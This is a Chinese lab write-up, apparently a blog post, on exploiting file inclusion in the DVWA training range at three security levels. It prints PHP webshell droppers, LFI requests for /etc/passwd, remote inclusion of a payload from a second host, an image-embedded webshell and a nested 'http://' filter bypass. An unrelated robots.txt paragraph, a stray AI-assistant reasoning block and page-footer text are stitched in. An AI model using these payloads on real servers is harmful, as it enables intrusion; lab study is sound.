基于owasp实现文件包含漏洞

文件包含渗透

在这里插入图片描述

<?fputs(fopen(‘‘shell.php’’, ‘‘w’’),‘<?php eval($_POST[pass]);?>’)?>

注:打开shell.php的文件,并写入<?php eval($_POST[pass]);?>
就在本地生成了一句话木马,然后就可以通过菜刀这样的工具连接木马。

本地文件包含LFI:(首先需要上传文件,才能修改=后面的文件)
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=xs.txt
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=c.php
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=/etc/passwd
远程文件包含RFI:(被包含文件在第三方服务器)
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server(服务器)/xs.txt
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server/c.php
192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=http://web_server/etc/passwd

图片木马:上传后,图片是可执行的,执行并生成webshell,相当于图片木马只是一个中间过程。

文件包含(漏洞):
是指当服务器开启 allow_url_include选项时,就可以通过php的某些特定函数(include(),require(),include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源严格审查,就会导致任意文件读取或者任意命令执行。远程文件包含是因为开启了php配置中的allow_url_include选项,此选项开启后,服务器允许包含一个远程文件。

在这里插入图片描述
进入后,输入/upload,
在这里插入图片描述
回车
在这里插入图片描述
在这里插入图片描述
我们可以看出
最大上传文件是2M;
最多能上传20个;
重点是allow_url_include 与allow_url_fopen 是开启的,开启文件包含的。

步骤:

  1. 低安全级别渗透:
    1.1首先我们进入靶机,file inclusion 就是文件包含。
    在这里插入图片描述
    路径是在这里插入图片描述
    我们看看这个路径下有什么文件。
    在这里插入图片描述
    我们在此目录下创建个xs.txt文件。
    在这里插入图片描述
    我们把路径后面的文件改为xs.txt,发现首页上出现了文件的内容xsxsxs
    地址本来是:
    192.168.40.108/dvwa/vulnerabilities/fi/index.php?page=xs.txt
    因为是首页,所以index.php就默认省略了。
    也就是说,我们现在访问的是index.php文件,但是把xs.txt文件包含进来了,所以里面的代码也在首页上被执行了。
    在这里插入图片描述
    在这里插入图片描述
    我们写个php文件,然后包含进去。
    Php内容:
    在这里插入图片描述
    在这里插入图片描述
    包含后,额外显示出了php文件执行后的页面,首页接在下面。
    在这里插入图片描述
    在这里插入图片描述
    后面也可以加路径,显示路径下的文件。
    在这里插入图片描述
    注:我们包含的文件必须有读的权限,不然就算包含了也无法显示。

1.2 本地文件包含+webshell

  1. 制作一张 一句话图片木马 ha.jpg
<?fputs(fopen(''shell20.php'',''w''),'<?php eval($_POST[cmd]);?>') ?>
  1. 上传图片木马文件。
  2. 执行文件包含并生成后门。
  3. 通过菜刀连接webshell

提示:
/var/www/dvwa/hackable/uploads //文件上传访问目录 ha.jpg
/var/www/dvwa/vulnerabilities/fi //文件包含访问目录 shell20.php

我们先找一找较小的图片,先上传上去;成功后再查看。
在这里插入图片描述
目录下有这张图,上传成功。
在这里插入图片描述
上传后我们先删掉这个文件,因为后面我们要上传木马文件,文件名重复了,也可以给木马文件改名,这里我们先删掉。
然后我们使用edjpgcom.exe工具。将图片拖进工具里。
在这里插入图片描述
将内容写入

<?fputs(fopen(''shell20.php'',''w''),'<?php eval($_POST[cmd]);?>') ?>

在这里插入图片描述
然后我们将图片木马传上去,显示成功。
在这里插入图片描述
我们在图片路径下查看;
在这里插入图片描述
接下来我们得让代码执行。
我们切换到文件包含页面下;=后面跟文件上传路径。
在这里插入图片描述
但是我的页面是空白的。
在这里插入图片描述
按道理来讲,页面会乱码,就会在文件包含路径下生成shell20.php,然后就连接菜刀。
地址:
http://192.168.40.108/dvwa/vulnerabilities/fi/shell20.php 密码:cmd

1.3 远程文件包含+webshell
我们先在自己的服务器或者网站下写好文件,我们这里在windows server2008r2上使用serv-u服务器。Ip:192.168.40.106,我们在服务器首页目录下写一个txt文件。
在这里插入图片描述
我们在本机上查看
在这里插入图片描述
目录下上有的。
我们在打开靶机,点到文件包含页面,路径跟192.168.40.106/yh.txt
在这里插入图片描述
然后我们上靶机,查看是否文件包含成功。发现有shell20.php文件。(在自己服务器或者网站上写文件也可以是php格式,不一定只能是txt)
在这里插入图片描述
我们再看看php文件是不是有内容。
在这里插入图片描述
有的,接下来我们用菜刀连接。
在这里插入图片描述
在这里插入图片描述

2. 中安全级别渗透**:**

我们将级别调到中级,查看后端源码。
在这里插入图片描述
我们发现它会把我们的http://或者https:// 给替换掉成null

2.1本地文件包含
中安全级别对本地文件包含没有问题。
在这里插入图片描述
2.2远程文件包含+webshell
我们还是先创建个含有木马的txt文件yh1,先查看是否有,然后去包含。
在这里插入图片描述
我们查看靶机是否生成了php文件,发现没有。
在这里插入图片描述
我们之前查看了源码,可以发现它是把我们的http:// 给吞了。
我们尝试路径为 httphttp://😕/192.168.40.106/yh1.txt
在这里插入图片描述
(hthttp://tp://192.168.40.106/yh1.txt)只有保证它是烂的就行。
它给我们去掉了一套,我们还有一套,然后靶机就有了php文件。(这个要多尝试,才能成功,这里是给了我们源码才看出来的)
在这里插入图片描述
然后就可以连接菜刀了。

3.高安全级别渗透:
在这里插入图片描述
3.1本地文件包含
在这里插入图片描述
因为后面跟的不是include.php,所以是not found。

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

不能爬取的目录。
在这里插入图片描述

<think>好的,用户想找关于文件包含漏洞的靶场或练习环境。我需要先回忆一下相关的资料。记得用户提供的引用里提到了pikachu、DVWA和iwebsec这几个靶场,这些应该是常见的练习环境。首先,我应该整理这些信息,确认每个靶场的特点和文件包含漏洞的具体模块。 然后,用户的问题可能涉及到如何搭建这些靶场或者访问它们的链接。比如pikachu通常是在本地搭建,可能需要使用PHP环境,DVWA也是类似的,需要配置在本地服务器。iwebsec可能是一个在线的或者需要自己部署的靶场。另外,用户可能还关心其他可用的靶场,比如Upload Labs或者WebGoat,这些可能也包含相关的漏洞练习。 接下来,我需要确保提供的步骤清晰,比如如何访问每个靶场的具体路径,例如pikachu的远程文件包含漏洞的URL结构。同时,要注意引用对应的参考文献,比如引用[1]、[2]、[3]中的内容,确保信息的准确性。 用户可能还会有更深层次的需求,比如想了解如何利用这些靶场进行漏洞测试的具体方法,或者需要配置环境的指导。因此,在回答中可能需要包含一些基本的操作步骤,比如修改PHP配置、使用Docker搭建环境等,但可能用户没有明确提到这些,所以需要保持回答简洁,同时提供足够的信息让他们开始练习。 另外,生成的相关问题需要覆盖用户可能感兴趣的后续步骤,比如如何防御文件包含漏洞,或者具体的漏洞利用技巧,这样他们可以进一步学习。确保问题与主题紧密相关,并且基于提供的引用内容,避免偏离主题。 最后,检查回答是否符合格式要求:使用中文,数学公式正确(虽然这里可能不太需要),结构清晰,引用标识正确。确保没有使用Markdown,分点明确,语言自然。</think>以下是关于文件包含漏洞的靶场及练习环境推荐,结合文件包含漏洞的原理和测试方法: ### 1. 本地环境搭建类靶场 **Pikachu靶场** - 包含本地文件包含(LFI)和远程文件包含(RFI)漏洞模块,支持通过修改参数`filename`触发漏洞。例如: ```http http://localhost/pika/vul/fileinclude/fi_local.php?filename=file1.php ``` - 远程文件包含示例需配置服务器允许远程加载(如修改`allow_url_include=On`)[^1][^3]。 **DVWA靶场** - 提供文件包含漏洞的低、中、高三种难度环境。通过修改`page`参数包含恶意文件,例如: ```http http://localhost/dvwa/vulnerabilities/fi/?page=filetest.php ``` - 需结合Burp Suite等工具测试过滤规则。 ### 2. 在线/集成化靶场 **iwebsec靶场** - 支持本地文件包含漏洞测试,通过包含非PHP文件(如`.txt`)验证解析漏洞。例如: ```http http://靶场地址/fileinclude/1.php?file=../../test.txt ``` - 重点练习绕过路径限制的方法(如`../`遍历)[^2]。 **WebGoat** - 提供文件包含漏洞的实战场景,需通过注入恶意代码实现目录遍历或远程文件加载。 ### 3. 漏洞利用扩展练习 - **Upload Labs靶场**:结合文件上传漏洞,上传含恶意代码的图片/文本文件,再通过文件包含执行。 - **Docker环境搭建**:使用Metasploitable或OWASP Broken Web Apps等镜像快速部署漏洞环境。 --- ### 文件包含漏洞原理补充 漏洞本质是未对包含的文件路径进行过滤,例如: ```php include($_GET['file']); ``` 攻击者可构造`file=../../etc/passwd`读取敏感文件,或`file=http://恶意服务器/shell.txt`加载远程代码[^2][^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M|Young

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值